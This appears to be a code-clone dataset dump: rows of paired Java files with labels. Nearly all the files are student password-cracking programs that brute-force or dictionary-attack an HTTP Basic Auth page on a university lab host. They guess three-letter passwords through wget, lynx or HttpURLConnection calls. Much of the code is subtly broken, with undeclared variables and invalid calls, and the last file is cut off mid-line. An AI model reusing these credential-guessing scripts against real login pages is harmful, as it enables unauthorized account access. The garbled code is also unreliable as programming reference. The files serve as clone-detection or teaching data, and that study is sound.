F1
stringlengths
8
8
F2
stringlengths
8
8
label
int64
0
1
text_1
stringlengths
174
63k
text_2
stringlengths
174
63k
193.java
197.java
0
import java.io.IOException; import java.net.*; import java.io.*; import java.util.*; public class Dictionary { static URL url = null; static URLConnection urlConnection; static InputStream urlStream; static String strOneLetterWords[]; static String strTwoLetterWords[]; static String strThreeLetterWords[]; static String strExceptionPassword[]; static String strLastPasswordTested; static String username = ""; static int intNumberOfOneLetterWords = 0; static int intNumberOfTwoLetterWords = 0; static int intNumberOfThreeLetterWords = 0; static int intExceptionCount = -1; static int intNumberOfConnectionAttempts = 0; static int intTotalNumberOfWordsInFile = 0; public static void main (String args[]) { Calendar calStart; Calendar calFinish; Date dateStart; Date dateFinish; lngStart; lngFinish; String strLine; String strTextFileName = "/usr/share/lib/dict/words"; boolean boolPasswordFound = false; boolean boolExceptionPasswordsTestedAgain = false; String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; int intCounter1; int intCounter2; int intCounter3; int intTotalNumberOfWordsChecked = 0; calStart = new GregorianCalendar(); dateStart = calStart.getTime(); lngStart = dateStart.getTime(); strExceptionPassword = new String[5000]; getNumberOfVariousLengthsOfWords(strTextFileName); strOneLetterWords = new String[intNumberOfOneLetterWords]; strTwoLetterWords = new String[intNumberOfTwoLetterWords]; strThreeLetterWords = new String[intNumberOfThreeLetterWords]; populateTheDifferentLengthArrays(strTextFileName); if (!boolPasswordFound) { intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strThreeLetterWords[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { intCounter3 = 0; while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strOneLetterWords[intCounter2] + strOneLetterWords[intCounter3], boolPasswordFound); intCounter3++; intTotalNumberOfWordsChecked++; } intCounter2++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strOneLetterWords[intCounter1] + strTwoLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) ) { intCounter2 = 0; while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) ) { boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strTwoLetterWords[intCounter1] + strOneLetterWords[intCounter2], boolPasswordFound); intCounter2++; intTotalNumberOfWordsChecked++; } intCounter1++; } intCounter1 = 0; while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) { boolExceptionPasswordsTestedAgain = true; boolPasswordFound = true; boolPasswordFound = passwordWasFound(urlString, strExceptionPassword[intCounter1], boolPasswordFound); intCounter1++; intTotalNumberOfWordsChecked++; } } calFinish = new GregorianCalendar(); dateFinish = calFinish.getTime(); lngFinish = dateFinish.getTime(); System.out.println(); System.out.println(); System.out.println(); System.out.println("Length of time for processing: " + ((lngFinish - lngStart) / 1000) + " seconds"); System.out.println(); System.out.println("Total number of words in dictionary file = " + intTotalNumberOfWordsInFile); System.out.println(); System.out.println("Input file: number of words with one letter length = " + intNumberOfOneLetterWords); System.out.println("Input file: number of words with two letter length = " + intNumberOfTwoLetterWords); System.out.println("Input file: number of words with three letter length = " + intNumberOfThreeLetterWords); System.out.println(); System.out.println("Number of connection attempts = " + intTotalNumberOfWordsChecked); System.out.println(); System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1)); System.out.println(); if (intExceptionCount >= 0) { System.out.print("These passwords WERE "); if (boolExceptionPasswordsTestedAgain) System.out.print("tested again."); else System.out.print("NOT tested again."); System.out.println(); } if (boolPasswordFound) { System.out.println("The correct password WAS found - this password is '" + strLastPasswordTested + "'."); } else { System.out.println("The correct password WAS NOT found."); } System.out.println(); } static void getNumberOfVariousLengthsOfWords(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { System.out.println("Exception thrown...."); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
249.java
197.java
0
import java.net.*; import java.io.*; public class BruteForce { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=1;i<=58;i++) { if (i<=26 || i > 32) { } for (j=1;j<=58;j++) { if ((j<=26 || j > 32) && (i <=26 || i>32)) { } for (k=1;k<=58;k++) { if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32)) { pwd = "" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64); userpwd = url.encode("",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty("Authorization"," " + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); if (reply.compareTo("HTTP/1.1 200 OK")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println(pwd); System.out.println("Total Time = " + (totalTime) + "seconds"); System.exit(0); } } } } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
164.java
197.java
0
package java.httputils; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.sql.Timestamp; public class BasicAuthHttpRequest extends HttpRequestClient { String userName; String password; protected BasicAuthHttpRequest(String url, String userName, String password) throws MalformedURLException, IOException { setPassword(password); setUserName(userName); setServerURL(new URL(url)); setStart(new Timestamp(System.currentTimeMillis())); String userPassword = userName + ":" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); setHttpConnection( (HttpURLConnection)this.getServerURL().openConnection()); getHttpConnection().setRequestProperty ("Authorization", " " + encoding); doRequest(); } protected BasicAuthHttpRequest(String url) throws MalformedURLException, IOException { super(url); } public BasicAuthHttpRequest() { super(); } public String getPassword() { return password; } public String getUserName() { return userName; } public void setPassword(String string) { password = string; } public void setUserName(String string) { userName = string; } public static void main (String[] args) { BasicAuthHttpRequest client = null; try { client = new BasicAuthHttpRequest(args[0], args[1], args[2]); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println( "Request response : \n" + client.getCode()); System.out.println( "Request processing time (milliseconds): " + (client.getEnd().getTime() - client.getStart().getTime())); System.out.println( "Request content: \n" + client.getContent()); } else { System.out.println( "Request response : \n" + client.getCode()); } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
129.java
197.java
0
import java.net.*; public class MyAuthenticator extends Authenticator { PasswordAuthentication pa=null;; protected PasswordAuthentication getPasswordAuthentication() { return pa; } void setPasswordAuthentication(PasswordAuthentication p) { this.pa=p; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
014.java
197.java
0
import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread ; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = " " + based64Encoder( ":" + pwd ); hconn.setRequestProperty( "Authorization", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( "Password is " + pwd ); System.out.println( "Total Time(seconds)=" + (double)totalTime/1000 ); System.out.println( "Number Of Connections: " + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = "Unable parse URL: " + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( "I/O Error : " + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
196.java
197.java
0
import java.io.*; public class Dictionary { public static void main(String args[])throws Exception { String s = null; String pass=""; int at=0; String strLine=""; int i=0; BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); start =System.currentTimeMillis(); try { while((pass=strLine = in.readLine()) != null) { if(pass.length()==3) { System.out.println(pass); at++; Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); p.waitFor(); i = p.exitValue(); if(i==0) { finish=System.currentTimeMillis(); float time=finish-start; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); System.out.println("Standard output of the command "); while ((s = stdInput.readLine()) != null) { System.out.println(s); } System.out.println("Standard error of the command "); while ((s = stdError.readLine()) != null) { System.out.println(s); } } } System.exit(0); } catch (IOException e) { System.out.println("Exception happened "); e.printStackTrace(); System.exit(-1); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
111.java
197.java
0
import java.io.BufferedReader; import java.io.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class Dictionary{ static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty("logonSite"); static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty("logonPort")).intValue(); static final String cad = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz"; static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty("useProxyServer")).intValue(); static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty("proxyPort")).intValue(); static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty("proxyServer"); static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty("proxyUserName"); static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty("proxypassword"); static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty("getMethod"); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue(); public Dictionary() { super(); } public static void main(String[] args) throws Exception { String statusLine = " "; int count = 0; int divValue = 0; String userName = ""; String password = ""; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http"); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty("dictionaryFile"))); while ((password = wordFile.readLine()) != null) { if (validateWord(password)) { client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; System.out.println(" Counter " + count + " Password " + password); divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println("Count: "+ count + " Div Value: "+ divValue+ " Releasing the connection and getting new one"); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } } System.out.println("Could not find the password!"); } public static boolean validateWord(String str) { boolean isValid = false; if (str.length() > 3) { return isValid; } for (int i = 0; i < str.length(); i++) { for (int j = 0; j < cad.length(); j++) { if (str.charAt(i) == cad.charAt(j)) { isValid = true; break; } else isValid = false; } if (!isValid) break; } return isValid; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
217.java
197.java
0
import java.io.*; import java.util.*; class BruteForce { public static void main(String args[]){ RandomThread ran = new RandomThread(); MixThread mix = new MixThread(); SmallLetterThread = new SmallLetterThread(); CapLetterThread caps = new CapLetterThread(); mix.get(); ran.get(); caps.get(); } } class MixThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++){ for(int k=0;k<pos.length;k++){ pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " ); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } } class RandomThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(; ;) { Random generator1= new Random(); int m= generator1.nextInt(52); int n= generator1.nextInt(52); int o= generator1.nextInt(52); pass=String.valueOf(pos[m])+String.valueOf(pos[n])+String.valueOf(pos[o]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } class CapLetterThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char 